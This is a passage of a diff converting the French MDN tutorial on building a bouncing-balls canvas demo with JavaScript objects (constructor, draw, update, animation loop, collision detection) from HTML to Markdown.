>Les blocs de construction</a + >) et les bases de la programmation objet en JavaScript (voir <a + href="/fr/docs/Learn/JavaScript/Object-oriented/Introduction" + >Introduction aux objets</a + >). + </p> + </td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + <p> + Acquérir plus de pratique dans l'utilisation des objets et des + techniques orientées objet dans un contexte "monde réel". + </p> + </td> + </tr> + </tbody> </table> -<h2 id="Faisons_bondir_quelques_balles">Faisons bondir quelques balles</h2> - -<p>Dans cet article, nous écrirons une démo classique de "balles bondissantes", pour vous montrer à quel point les objets peuvent être utiles en JavaScript. Nos petites balles bondiront partout sur notre écran et changeront de couleurs lorsqu'elles se toucheront. L'exemple finalisé ressemblera un peu à ceci : </p> +## Faisons bondir quelques balles -<p><img alt="" src="bouncing-balls.png"></p> +Dans cet article, nous écrirons une démo classique de "balles bondissantes", pour vous montrer à quel point les objets peuvent être utiles en JavaScript. Nos petites balles bondiront partout sur notre écran et changeront de couleurs lorsqu'elles se toucheront. L'exemple finalisé ressemblera un peu à ceci : -<ol> -</ol> + -<p>Cet exemple utilise l'<a href="/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">API Canvas </a> pour dessiner les balles sur l'écran, et l'API <a href="/fr/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame</a> pour animer l'ensemble de l'affichage — Nul besoin d'avoir une connaissance préalable de ces APIs, nous expérons qu'une fois cet article terminé, vous aurez envie d'en faire une exploration approfondie. Tout le long du parcours nous utiliserons certains objets formidables et vous montrerons nombre de techniques sympathiques comme des balles bondissantes sur les murs et la vérification de balles qui s'entrechoquent (encore connue sous l'appelation <strong>détection de collision</strong>).</p> +Cet exemple utilise l'[API Canvas ](/fr/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics) pour dessiner les balles sur l'écran, et l'API [requestAnimationFrame](/fr/docs/Web/API/window/requestAnimationFrame) pour animer l'ensemble de l'affichage — Nul besoin d'avoir une connaissance préalable de ces APIs, nous expérons qu'une fois cet article terminé, vous aurez envie d'en faire une exploration approfondie. Tout le long du parcours nous utiliserons certains objets formidables et vous montrerons nombre de techniques sympathiques comme des balles bondissantes sur les murs et la vérification de balles qui s'entrechoquent (encore connue sous l'appelation **détection de collision**). -<p>Pour commencer, faites des copies locales de nos fichiers <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html">index.html</a></code>, <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css">style.css</a></code>, et <code><a href="https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js">main.js</a></code>. Ces fichiers contiennent respectivement :</p> +Pour commencer, faites des copies locales de nos fichiers [`index.html`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/index.html), [`style.css`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/style.css), et [`main.js`](https://github.com/mdn/learning-area/blob/master/javascript/oojs/bouncing-balls/main.js). Ces fichiers contiennent respectivement : -<ol> - <li>Un document HTML très simple contenant un élément {{HTMLElement("h1")}} , un élément {{HTMLElement("canvas")}} pour dessiner nos balles dessus et des élements pour appliquer notre CSS et notre JavaScript à notre HTML ;</li> - <li>Quelques styles très simples qui servent principalement à mettre en forme et placer le <code><h1></code>, et se débarasser de toutes barres de défilement ou de marges autour du pourtour de notre page (afin que cela paraisse plus sympathique et élégant) ;</li> - <li>Un peu de JavaScript qui sert à paramétrer l'élément <code><canvas></code> et fournir les fonctions globalles que nous utiliserons.</li> -</ol> +1. Un document HTML très simple contenant un élément {{HTMLElement("h1")}} , un élément {{HTMLElement("canvas")}} pour dessiner nos balles dessus et des élements pour appliquer notre CSS et notre JavaScript à notre HTML ; +2. Quelques styles très simples qui servent principalement à mettre en forme et placer le `<h1>`, et se débarasser de toutes barres de défilement ou de marges autour du pourtour de notre page (afin que cela paraisse plus sympathique et élégant) ; +3. Un peu de JavaScript qui sert à paramétrer l'élément `<canvas>` et fournir les fonctions globalles que nous utiliserons. -<p>La première partie du script ressemble à ceci :</p> +La première partie du script ressemble à ceci : -<pre class="brush: js">const canvas = document.querySelector('canvas'); +```js +const canvas = document.querySelector('canvas'); const ctx = canvas.getContext('2d'); const width = canvas.width = window.innerWidth; -const height = canvas.height = window.innerHeight;</pre> +const height = canvas.height = window.innerHeight; +``` -<p>Ce script prend une référence à l'élément <code><canvas></code> et ensuite invoque la méthode <code><a href="/fr/docs/Web/API/HTMLCanvasElement/getContext">getContext()</a></code> sur lui, nous donnant ainsi un contexte sur lequel nous pouvons commencer à dessiner. La variable résultante (<code>ctx</code>) est l'objet qui représente directement la surface du Canvas où nous pouvons dessiner et qui nous permet de dessiner des formes 2D sur ce dernier. </p> +Ce script prend une référence à l'élément `<canvas>` et ensuite invoque la méthode [`getContext()`](/fr/docs/Web/API/HTMLCanvasElement/getContext) sur lui, nous donnant ainsi un contexte sur lequel nous pouvons commencer à dessiner. La variable résultante (`ctx`) est l'objet qui représente directement la surface du Canvas où nous pouvons dessiner et qui nous permet de dessiner des formes 2D sur ce dernier. -<p>Après, nous configurons les variables <code>width</code> (largeur) et <code>height</code>(hauteur), et la largeur et la hauteur de l'élément canvas (représentés par les propriétés <code>canvas.width</code> et <code>canvas.height</code> ) afin qu'elles soient identiques à la fenêtre du navigateur (la surface sur laquelle apparaît la page web— Ceci peut être tiré des propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}).</p> +Après, nous configurons les variables `width` (largeur) et `height`(hauteur), et la largeur et la hauteur de l'élément canvas (représentés par les propriétés `canvas.width` et `canvas.height` ) afin qu'elles soient identiques à la fenêtre du navigateur (la surface sur laquelle apparaît la page web— Ceci peut être tiré des propriétés {{domxref("Window.innerWidth")}} et {{domxref("Window.innerHeight")}}). -<p>Vous verrez qu'ici nous enchaînons les assignations des valeurs des différentes variables ensemble à des fins de rapidité. Ceci est parfaitement autorisé.</p> +Vous verrez qu'ici nous enchaînons les assignations des valeurs des différentes variables ensemble à des fins de rapidité. Ceci est parfaitement autorisé. -<p>Le dernier morceau du script ressemble à ceci :</p> +Le dernier morceau du script ressemble à ceci : -<pre class="brush: js">function random(min, max) { +```js +function random(min, max) { var num = Math.floor(Math.random() * (max - min + 1)) + min; return num; -}</pre> +} +``` -<p>Cette fonction prend deux nombres comme arguments, et renvoie un nombre compris entre les deux. </p> +Cette fonction prend deux nombres comme arguments, et renvoie un nombre compris entre les deux. -<h2 id="Modéliser_une_balle_dans_notre_programme">Modéliser une balle dans notre programme</h2> +## Modéliser une balle dans notre programme -<p>Notre programme met en œuvre beaucoup de balles bondissant partout sur l'écran. Comme nos balles se comporteront toutes de la même façon, cela semble tout à fait sensé de les représenter avec un objet. Commençons donc en ajoutant le constructeur suivant à la fin de notre code.</p> +Notre programme met en œuvre beaucoup de balles bondissant partout sur l'écran. Comme nos balles se comporteront toutes de la même façon, cela semble tout à fait sensé de les représenter avec un objet. Commençons donc en ajoutant le constructeur suivant à la fin de notre code. -<pre class="brush: js">function Ball(x, y, velX, velY, color, size) { +```js +function Ball(x, y, velX, velY, color, size) { this.x = x; this.y = y; this.velX = velX; this.velY = velY; this.color = color; this.size = size; -}</pre> +} +``` -<p>Ici, nous incluons des paramètres qui définissent des propriétés dont chaque balle aura besoin pour fonctionner dans notre programme :</p> +Ici, nous incluons des paramètres qui définissent des propriétés dont chaque balle aura besoin pour fonctionner dans notre programme : -<ul> - <li>Les coordonnées <code>x</code> et <code>y</code> — les coordonnées verticales et horizontales où la balle débutera sur l'écran. Ceci peut se trouver entre 0 (coin à gauche en haut) et la valeur de la hauteur et de la largeur de la fenêtre du navigateur (coin en bas à droite).</li> - <li>Une vitesse horizontale et verticale (<code>velX</code> et <code>velY</code>) — à chaque balle est attribuée une vitesse horizontale et verticale; en termes réels ces valeurs seront régulièrement ajoutéés aux valeurs de la coordonnée <code>x</code>/<code>y</code> quand nous commencerons à animer les balles, afin de les faire bouger d'autant sur chaque vignette (frame).</li> - <li><code>color</code> — chaque balle a une couleur.</li> - <li><code>size</code> — chaque balle a une taille — ce sera son rayon mesuré en pixels.</li> -</ul> +- Les coordonnées `x` et `y` — les coordonnées verticales et horizontales où la balle débutera sur l'écran. Ceci peut se trouver entre 0 (coin à gauche en haut) et la valeur de la hauteur et de la largeur de la fenêtre du navigateur (coin en bas à droite). +- Une vitesse horizontale et verticale (`velX` et `velY`) — à chaque balle est attribuée une vitesse horizontale et verticale; en termes réels ces valeurs seront régulièrement ajoutéés aux valeurs de la coordonnée `x`/`y` quand nous commencerons à animer les balles, afin de les faire bouger d'autant sur chaque vignette (frame). +- `color` — chaque balle a une couleur. +- `size` — chaque balle a une taille — ce sera son rayon mesuré en pixels. -<p>Ceci règle le problème des propriétés mais qu'en est il des méthodes ? Nous voulons maintenant amener nos balles à faire quelque chose dans notre programme.</p> +Ceci règle le problème des propriétés mais qu'en est il des méthodes ? Nous voulons maintenant amener nos balles à faire quelque chose dans notre programme. -<h3 id="Dessiner_la_balle">Dessiner la balle</h3> +### Dessiner la balle -<p>En premier lieu ajoutez la méthode <code>draw()</code> au <code>prototype</code> de <code>Ball()</code> :</p> +En premier lieu ajoutez la méthode `draw()` au `prototype` de `Ball()` : -<pre class="brush: js">Ball.prototype.draw = function() { +```js +Ball.prototype.draw = function() { ctx.beginPath(); ctx.fillStyle = this.color; ctx.arc(this.x, this.y, this.size, 0, 2 * Math.PI); ctx.fill(); -}</pre> - -<p>En utilisant cette fonction, nous pouvons dire à notre balle de se dessiner sur l'écran en appelant une série de membres du contexte 2D du canvas que nous avons défini plus tôt (<code>ctx</code>). Le contexte est comme le papier et maintenant nous allons demander à notre stylo d'y dessiner quelque chose :</p> - -<ul> - <li>Premièrement, nous utilisons <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/beginPath">beginPath()</a></code> pour spécifier que nous voulons dessiner une forme sur le papier.</li> - <li>Ensuite, nous utilisons <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle">fillStyle</a></code> pour définir de quelle couleur nous voulons que la forme soit — nous lui attribuons la valeur de la propriété <code>color</code> de notre balle.</li> - <li>Après, nous utilisons la méthode <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/arc">arc()</a></code> pour tracer une forme en arc sur le papier. Ses paramètres sont : - <ul> - <li>Les positions <code>x</code> et <code>y</code> du centre de l'arc — nous specifions donc les propriétés <code>x</code> et <code>y </code>de notre balle.</li> - <li>Le rayon de l'arc — nous specifions la propriété <code>size</code> de notre balle.</li> - <li>Les deux derniers paramètres spécifient l'intervalle de début et de fin en degrés pour dessiner l'arc. Ici nous avons spécifié 0 degrés et <code>2 * PI </code>qui est l'équivalent de 360 degrés en radians (malheureusement vous êtes obligés de spécifier ces valeurs en radians et non en degrés). Cela nous donne un cercle complet. Si vous aviez spécifié seulement <code>1 * PI</code>, vous auriez eu un demi-cercle (180 degrés).</li> - </ul> - </li> - <li>En dernière position nous utilisons la méthode <code><a href="/fr/docs/Web/API/CanvasRenderingContext2D/fill">fill()</a></code> qui est habituellement utilisée pour spécifier que nous souhaitons mettre fin au dessin que nous avons commencé avec <code>beginPath()</code>, et remplir la surface délimitée avec la couleur que nous avions spécifiée plus tôt avec <code>fillStyle</code>.</li> -</ul> - -<p>Vous pouvez déjà commencer à tester votre objet.</p> - -<ol> - <li>Sauvegardez le code et chargez le fichier html dans un navigateur.</li> - <li>Ouvrez la console JavaScript du navigateur et actualisez la page afin que la taille du canvas change et prenne la petite taille restante de la fenêtre lorsque la console est ouverte.</li> - <li>Tapez dans la console ce qui suit afin de créer une nouvelle instance de balle : - <pre class="brush: js">let testBall = new Ball(50, 100, 4, 4, 'blue', 10);</pre> - </li> - <li>Essayez d'appeler ses membres : - <pre class="brush: js">testBall.x -testBall.size -testBall.color -testBall.draw()</pre> - </li> - <li>Lorsque vous entrerez la dernière ligne, vous devriez voir la balle se dessiner quelque part sur votre canvas.</li> -</ol> - -<h3 id="Mettre_à_jour_les_données_de_la_balle">Mettre à jour les données de la balle</h3> - -<p>Nous pouvons dessiner la balle dans n'importe quelle position, mais actuellement pour commencer à la bouger nous aurons besoin d'une sorte de fonction de mise à jour. Insérez donc le code suivant à la fin de votre fichier JavaScript pour ajouter une méthode <code>update()</code> au <code>prototype</code> de <code>Ball()</code>:</p> - -<pre class="brush: js">Ball.prototype.update = function() { - if ((this.x + this.size) >= width) { +} +``` + +En utilisant cette fonction, nous pouvons dire à notre balle de se dessiner sur l'écran en appelant une série de membres du contexte 2D du canvas que nous avons défini plus tôt (`ctx`). Le contexte est comme le papier et maintenant nous allons demander à notre stylo d'y dessiner quelque chose : + +- Premièrement, nous utilisons [`beginPath()`](/fr/docs/Web/API/CanvasRenderingContext2D/beginPath) pour spécifier que nous voulons dessiner une forme sur le papier. +- Ensuite, nous utilisons [`fillStyle`](/fr/docs/Web/API/CanvasRenderingContext2D/fillStyle) pour définir de quelle couleur nous voulons que la forme soit — nous lui attribuons la valeur de la propriété `color` de notre balle. +- Après, nous utilisons la méthode [`arc()`](/fr/docs/Web/API/CanvasRenderingContext2D/arc) pour tracer une forme en arc sur le papier. Ses paramètres sont : + + - Les positions `x` et `y` du centre de l'arc — nous specifions donc les propriétés `x` et `y `de notre balle. + - Le rayon de l'arc — nous specifions la propriété `size` de notre balle. + - Les deux derniers paramètres spécifient l'intervalle de début et de fin en degrés pour dessiner l'arc. Ici nous avons spécifié 0 degrés et `2 * PI `qui est l'équivalent de 360 degrés en radians (malheureusement vous êtes obligés de spécifier ces valeurs en radians et non en degrés). Cela nous donne un cercle complet. Si vous aviez spécifié seulement `1 * PI`, vous auriez eu un demi-cercle (180 degrés). + +- En dernière position nous utilisons la méthode [`fill()`](/fr/docs/Web/API/CanvasRenderingContext2D/fill) qui est habituellement utilisée pour spécifier que nous souhaitons mettre fin au dessin que nous avons commencé avec `beginPath()`, et remplir la surface délimitée avec la couleur que nous avions spécifiée plus tôt avec `fillStyle`. + +Vous pouvez déjà commencer à tester votre objet. + +1. Sauvegardez le code et chargez le fichier html dans un navigateur. +2. Ouvrez la console JavaScript du navigateur et actualisez la page afin que la taille du canvas change et prenne la petite taille restante de la fenêtre lorsque la console est ouverte. +3. Tapez dans la console ce qui suit afin de créer une nouvelle instance de balle : + + ```js + let testBall = new Ball(50, 100, 4, 4, 'blue', 10); + ``` + +4. Essayez d'appeler ses membres : + + ```js + testBall.x + testBall.size + testBall.color + testBall.draw() + ``` + +5. Lorsque vous entrerez la dernière ligne, vous devriez voir la balle se dessiner quelque part sur votre canvas. + +### Mettre à jour les données de la balle + +Nous pouvons dessiner la balle dans n'importe quelle position, mais actuellement pour commencer à la bouger nous aurons besoin d'une sorte de fonction de mise à jour. Insérez donc le code suivant à la fin de votre fichier JavaScript pour ajouter une méthode `update()` au `prototype` de `Ball()`: + +```js +Ball.prototype.update = function() { + if ((this.x + this.size) >= width) { this.velX = -(this.velX); } - if ((this.x - this.size) <= 0) { + if ((this.x - this.size) <= 0) { this.velX = -(this.velX); } - if ((this.y + this.size) >= height) { + if ((this.y + this.size) >= height) { this.velY = -(this.velY); } - if ((this.y - this.size) <= 0) { + if ((this.y - this.size) <= 0) { this.velY = -(this.velY); } this.x += this.velX; this.y += this.velY; -}</pre> +} +``` -<p>Les quatre premières parties de la fonction vérifient si la balle a atteint le rebord du canvas. Si c'est le cas, nous inversons la polarité de la vitesse appropriée pour faire bouger la balle dans le sens opposé. Donc par exemple, si la balle se déplaçait vers le haut (positif <code>velY</code>) alors la vitesse verticale est changée afin qu'elle commence à bouger plutôt vers le bas (negatif <code>velY</code>).</p> +Les quatre premières parties de la fonction vérifient si la balle a atteint le rebord du canvas. Si c'est le cas, nous inversons la polarité de la vitesse appropriée pour faire bouger la balle dans le sens opposé. Donc par exemple, si la balle se déplaçait vers le haut (positif `velY`) alors la vitesse verticale est changée afin qu'elle commence à bouger plutôt vers le bas (negatif `velY`). -<p>Dans les quatre cas nous :</p> +Dans les quatre cas nous : -<ul> - <li>Verifions si la coordonnée <code>x</code> est plus grande que la largeur du canvas (la balle est en train de sortir du côté droit).</li> - <li>Verifions si la coordonnée <code>x</code> est plus petite que 0 (la balle est en train de sortir du côté gauche).</li> - <li>Verifions si la coordonnée <code>y</code> est plus grande que la hauteur du canvas (la balle est en train de sortir par le bas).</li> - <li>Verifions si la coordonnée <code>y</code> est plus petite que 0 (la balle est en train de sortir par le haut).</li> -</ul> +- Verifions si la coordonnée `x` est plus grande que la largeur du canvas (la balle est en train de sortir du côté droit). +- Verifions si la coordonnée `x` est plus petite que 0 (la balle est en train de sortir du côté gauche). +- Verifions si la coordonnée `y` est plus grande que la hauteur du canvas (la balle est en train de sortir par le bas). +- Verifions si la coordonnée `y` est plus petite que 0 (la balle est en train de sortir par le haut). -<p>Dans chaque cas, nous incluons la taille <code>size</code> de la balle dans les calculs parce que les coordonnées <code>x</code>/<code>y</code> sont situées au centre de la balle mais nous voulons que le pourtour de la balle rebondisse sur le rebord — nous ne voulons pas que la balle sorte à moité hors de l'écran avant de commencer à rebondir vers l'arrière.</p> +Dans chaque cas, nous incluons la taille `size` de la balle dans les calculs parce que les coordonnées `x`/`y` sont situées au centre de la balle mais nous voulons que le pourtour de la balle rebondisse sur le rebord — nous ne voulons pas que la balle sorte à moité hors de l'écran avant de commencer à rebondir vers l'arrière. -<p>Les deux dernières lignes ajoutent la valeur <code>velX</code> à la coordonnée <code>x</code> et la valeur <code>velY</code> à la coordonnée <code>y</code> — la balle est en effet mise en mouvement chaque fois que cette méthode est invoquée.</p> +Les deux dernières lignes ajoutent la valeur `velX` à la coordonnée `x` et la valeur `velY` à la coordonnée `y` — la balle est en effet mise en mouvement chaque fois que cette méthode est invoquée. -<p>Cela suffira pour l'instant, passons à l'animation !</p> +Cela suffira pour l'instant, passons à l'animation ! -<h2 id="Animer_la_balle">Animer la balle</h2> +## Animer la balle -<p>Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles au canvas et à les animer.</p> +Maintenant, rendons cela amusant. Nous allons commencer à ajouter des balles au canvas et à les animer. -<ol> - <li>Tout d'abord, nous avons besoin d'un endroit où stocker toutes nos balles. Le tableau suivant fera ce travail — ajoutez-le au bas de votre code maintenant : +1. Tout d'abord, nous avons besoin d'un endroit où stocker toutes nos balles. Le tableau suivant fera ce travail — ajoutez-le au bas de votre code maintenant : - <pre class="brush: js">let balls = []; -</pre> + ```js + let balls = []; + ``` - <pre>while (balls.length < 25) { - let size = random(10,20); - let ball = new Ball( - // ball position always drawn at least one ball width - // away from the edge of the canvas, to avoid drawing errors - random(0 + size,width - size), - random(0 + size,height - size), - random(-7,7), - random(-7,7), - 'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')', - size - ); + while (balls.length < 25) { + let size = random(10,20); + let ball = new Ball( + // ball position always drawn at least one ball width + // away from the edge of the canvas, to avoid drawing errors + random(0 + size,width - size), + random(0 + size,height - size), + random(-7,7), + random(-7,7), + 'rgb(' + random(0,255) + ',' + random(0,255) + ',' + random(0,255) +')', + size + ); - balls.push(ball); -}</pre> - Tous les programmes qui animent les choses impliquent généralement une boucle d'animation, qui sert à mettre à jour les informations dans le programme et à restituer ensuite la vue résultante sur chaque image de l'animation. C'est la base de la plupart des jeux et autres programmes similaires.</li> - <li>Ajoutez ce qui suit au bas de votre code maintenant : - <pre class="brush: js">function loop() { - ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; - ctx.fillRect(0, 0, width, height); + balls.push(ball); + } - for (let i = 0; i < balls.length; i++) { - balls[i].draw(); - balls[i].update(); - } + Tous les programmes qui animent les choses impliquent généralement une boucle d'animation, qui sert à mettre à jour les informations dans le programme et à restituer ensuite la vue résultante sur chaque image de l'animation. C'est la base de la plupart des jeux et autres programmes similaires. + +2. Ajoutez ce qui suit au bas de votre code maintenant : + + ```js + function loop() { + ctx.fillStyle = 'rgba(0, 0, 0, 0.25)'; + ctx.fillRect(0, 0, width, height); + + for (let i = 0; i < balls.length; i++) { + balls[i].draw(); + balls[i].update(); + } + + requestAnimationFrame(loop); + } + ``` - requestAnimationFrame(loop); -}</pre> + Notre fonction `loop()` fonctionne comme suit : - <p>Notre fonction <code>loop()</code> fonctionne comme suit :</p> + - On définit la couleur de remplissage du canvas en noir semi-transparent, puis dessine un rectangle de couleur sur toute la largeur et la hauteur du canvas, en utilisant `fillRect()` (les quatre paramètres fournissent une coordonnée de départ et une largeur et une hauteur pour le rectangle dessiné ). Cela sert à masquer le dessin de l'image précédente avant que la suivante ne soit dessinée. Si vous ne faites pas cela, vous verrez juste de longs serpents se faufiler autour de la toile au lieu de balles qui bougent ! La couleur du remplissage est définie sur semi-transparent, `rgba (0,0,0,.25)`, pour permettre aux quelques images précédentes de briller légèrement, produisant les petites traînées derrière les balles lorsqu'elles se déplacent. Si vous avez changé 0.25 à 1, vous ne les verrez plus du tout. Essayez de faire varier ce dernier nombre (entre 0 et 1) pour voir l'effet qu'il a. + - On crée un nouvel objet `Ball()` avec des attributs générées aléatoirement grâce à la fonction `random()`, puis on ajoute l'objet au tableau, mais seulement lorsque le nombre de balles dans le tableau est inférieur à 25. Donc quand on a 25 balles à l'écran, plus aucune balle supplémentaire n'apparaît. Vous pouvez essayer de faire varier le nombre dans `balls.length <25` pour obtenir plus, ou moins de balles à l'écran. En fonction de la puissance de traitement de votre ordinateur / navigateur, spécifier plusieurs milliers de boules peut ralentir l'animation de façon très significative ! + - Le programme boucle à travers tous les objets du tableau sur chacun desquels il exécute la fonction `draw()` et `update()` pour dessiner à l'écran chaque balle et faire les mise à jour de chaque attribut vant le prochain rafraîchissement. + - Exécute à nouveau la fonction à l'aide de la méthode `requestAnimationFrame()` — lorsque cette méthode est exécutée en permanence et a reçu le même nom de fonction, elle exécute cette fonction un nombre défini de fois par seconde pour créer une animation fluide. Cela se fait généralement de manière récursive — ce qui signifie que la fonction s'appelle elle-même à chaque fois qu'elle s'exécute, de sorte qu'elle sera répétée encore et encore. - <ul> - <li>On définit la couleur de remplissage du canvas en noir semi-transparent, puis dessine un rectangle de couleur sur toute la largeur et la hauteur du canvas, en utilisant <code>fillRect()</code> (les quatre paramètres fournissent une coordonnée de départ et une largeur et une hauteur pour le rectangle dessiné ). Cela sert à masquer le dessin de l'image précédente avant que la suivante ne soit dessinée. Si vous ne faites pas cela, vous verrez juste de longs serpents se faufiler autour de la toile au lieu de balles qui bougent ! La couleur du remplissage est définie sur semi-transparent, <code>rgba (0,0,0,.25)</code>, pour permettre aux quelques images précédentes de briller légèrement, produisant les petites traînées derrière les balles lorsqu'elles se déplacent. Si vous avez changé 0.25 à 1, vous ne les verrez plus du tout. Essayez de faire varier ce dernier nombre (entre 0 et 1) pour voir l'effet qu'il a.</li> - <li>On crée un nouvel objet <code>Ball()</code> avec des attributs générées aléatoirement grâce à la fonction <code>random()</code>, puis on ajoute l'objet au tableau, mais seulement lorsque le nombre de balles dans le tableau est inférieur à 25. Donc quand on a 25 balles à l'écran, plus aucune balle supplémentaire n'apparaît. Vous pouvez essayer de faire varier le nombre dans <code>balls.length <25</code> pour obtenir plus, ou moins de balles à l'écran. En fonction de la puissance de traitement de votre ordinateur / navigateur, spécifier plusieurs milliers de boules peut ralentir l'animation de façon très significative !</li> - <li>Le programme boucle à travers tous les objets du tableau sur chacun desquels il exécute la fonction <code>draw()</code> et <code>update()</code> pour dessiner à l'écran chaque balle et faire les mise à jour de chaque attribut vant le prochain rafraîchissement.</li> - <li>Exécute à nouveau la fonction à l'aide de la méthode <code>requestAnimationFrame()</code> — lorsque cette méthode est exécutée en permanence et a reçu le même nom de fonction, elle exécute cette fonction un nombre défini de fois par seconde pour créer une animation fluide. Cela se fait généralement de manière récursive — ce qui signifie que la fonction s'appelle elle-même à chaque fois qu'elle s'exécute, de sorte qu'elle sera répétée encore et encore.</li> - </ul> - </li> - <li>Finallement mais non moins important, ajoutez la ligne suivante au bas de votre code — nous devons appeler la fonction une fois pour démarrer l'animation. - <pre class="brush: js">loop();</pre> - </li> -</ol> +3. Finallement mais non moins important, ajoutez la ligne suivante au bas de votre code — nous devons appeler la fonction une fois pour démarrer l'animation. -<p>Voilà pour les bases — essayez d'enregistrer et de rafraîchir pour tester vos balles bondissantes!</p> + ```js + loop(); + ``` -<h2 id="Ajouter_la_détection_de_collision">Ajouter la détection de collision</h2> +Voilà pour les bases — essayez d'enregistrer et de rafraîchir pour tester vos balles bondissantes! -<p>Maintenant, pour un peu de plaisir, ajoutons une détection de collision à notre programme, afin que nos balles sachent quand elles ont frappé une autre balle.</p> +## Ajouter la détection de collision -<ol> - <li>Tout d'abord, ajoutez la définition de méthode suivante ci-dessous où vous avez défini la méthode <code>update()</code> (c'est-à-dire le bloc <code>Ball.prototype.update</code>). +Maintenant, pour un peu de plaisir, ajoutons une détection de collision à notre programme, afin que nos balles sachent quand elles ont frappé une autre balle. - <pre class="brush: js">Ball.prototype.collisionDetect = function() { - for (let j = 0; j < balls.length; j++) { - if (!(this === balls[j])) { - const dx = this.x - balls[j].x; - const dy = this.y - balls[j].y; - const distance = Math.sqrt(dx * dx + dy * dy); +1. Tout d'abord, ajoutez la définition de méthode suivante ci-dessous où vous avez défini la méthode `update()` (c'est-à-dire le bloc `Ball.prototype.update`). - if (distance < this.size + balls[j].size) { - balls[j].color = this.color = 'rgb(' + random(0, 255) + ',' + random(0, 255) + ',' + random(0, 255) +')'; + ```js + Ball.prototype.collisionDetect = function() { + for (let j = 0; j < balls.length; j++) { + if (!(this === balls[j])) { + const dx = this.x - balls[j].x; + const dy = this.y - balls[j].y; + const distance = Math.sqrt(dx * dx + dy * dy); + + if (distance < this.size + balls[j].size) { + balls[j].color = this.color = 'rgb(' + random(0, 255) + ',' + random(0, 255) + ',' + random(0, 255) +')'; + } + } } } - } -}</pre> + ``` + + Cette méthode est un peu complexe, donc ne vous inquiétez pas si vous ne comprenez pas exactement comment cela fonctionne pour le moment. Regardons cela pas-à-pas : - <p>Cette méthode est un peu complexe, donc ne vous inquiétez pas si vous ne comprenez pas exactement comment cela fonctionne pour le moment. Regardons cela pas-à-pas :</p> + - Pour chaque balle _b_, nous devons vérifier chaque autre balle pour voir si elle est entrée en collision avec *b*. Pour ce faire, on inspecte toutes les balles du tableau `balls[]` dans une boucle `for`. + - Immédiatement à l'intérieur de cette boucle `for`, une instruction `if` vérifie si la balle courante *b'* , inspectée dans la boucle, n'est égale à la balle *b. Le code correspondant est :* `b'!== b`_._ En effet, nous ne voulons pas vérifier si une balle _b_ est entrée en collision avec elle-même ! Nous contrôlons donc si la balle actuelle _b_—dont la méthode `collisionDetect()` est invoquée—est distincte de la balle _b'_ inspectée dans la boucle*.* Ainsi le bloc de code venant après l'instruction `if` ne s'exécutera que si les balles _b_ et _b'_ ne sont pas identiques. + - Un algorithme classique permet ensuite de vérifier la superposition de deux disques. Ceci est expliqué plus loin dans [2D collision detection](/fr/docs/Games/Techniques/2D_collision_detection). + - Si une collision est détectée, le code à l'intérieur de l'instruction interne `if` est exécuté. Dans ce cas, nous définissons simplement la propriété `color` des deux cercles à une nouvelle couleur aléatoire. Nous aurions pu faire quelque chose de bien plus complexe, comme faire rebondir les balles de façon réaliste, mais cela aurait été beaucoup plus complexe à mettre en œuvre. Pour de telles simulations de physique, les développeurs ont tendance à utiliser des bibliothèques de jeux ou de physiques telles que [PhysicsJS](http://wellcaffeinated.net/PhysicsJS/), [matter.js](http://brm.io/matter-js/), [Phaser](http://phaser.io/), etc. - <ul> - <li>Pour chaque balle <em>b</em>, nous devons vérifier chaque autre balle pour voir si elle est entrée en collision avec <em>b</em>. Pour ce faire, on inspecte toutes les balles du tableau <code>balls[]</code> dans une boucle <code>for</code>.</li> - <li>Immédiatement à l'intérieur de cette boucle <code>for</code>, une instruction <code>if</code> vérifie si la balle courante <em>b'</em> , inspectée dans la boucle, n'est égale à la balle <em>b. Le code correspondant est : </em><code><em>b</em>'!== <em>b</em></code><em>. </em>En effet, nous ne voulons pas vérifier si une balle <em>b</em> est entrée en collision avec elle-même ! Nous contrôlons donc si la balle actuelle <em>b</em>—dont la méthode <code>collisionDetect()</code> est invoquée—est distincte de la balle <em>b' </em>inspectée dans la boucle<em>. </em>Ainsi le bloc de code venant après l'instruction <code>if</code> ne s'exécutera que si les balles <em>b</em> et <em>b'</em> ne sont pas identiques.</li> - <li>Un algorithme classique permet ensuite de vérifier la superposition de deux disques. Ceci est expliqué plus loin dans <a href="/fr/docs/Games/Techniques/2D_collision_detection">2D collision detection</a>.</li> - <li>Si une collision est détectée, le code à l'intérieur de l'instruction interne <code>if</code> est exécuté. Dans ce cas, nous définissons simplement la propriété <code>color</code> des deux cercles à une nouvelle couleur aléatoire. Nous aurions pu faire quelque chose de bien plus complexe, comme faire rebondir les balles de façon réaliste, mais cela aurait été beaucoup plus complexe à mettre en œuvre. Pour de telles simulations de physique, les développeurs ont tendance à utiliser des bibliothèques de jeux ou de physiques telles que <a href="http://wellcaffeinated.net/PhysicsJS/">PhysicsJS</a>, <a href="http://brm.io/matter-js/">matter.js</a>, <a href="http://phaser.io/">Phaser</a>, etc.</li> - </ul> - </li> - <li>Vous devez également appeler cette méthode dans chaque image de l'animation. Ajouter le code ci-dessous juste après la ligne <code>balls[i].update();</code>: - <pre class="brush: js">balls[i].collisionDetect();</pre> - </li> - <li>Enregistrez et rafraîchissez la démo à nouveau, et vous verrez vos balles changer de couleur quand elles entrent en collision !</li> -</ol> +2. Vous devez également appeler cette méthode dans chaque image de l'animation. Ajouter le code ci-dessous juste après la ligne `balls[i].update();`: -<div class="note"> -<p><strong>Note :</strong> Si vous avez des difficultés à faire fonctionner cet exemple, essayez de comparer votre code JavaScript avec notre <a 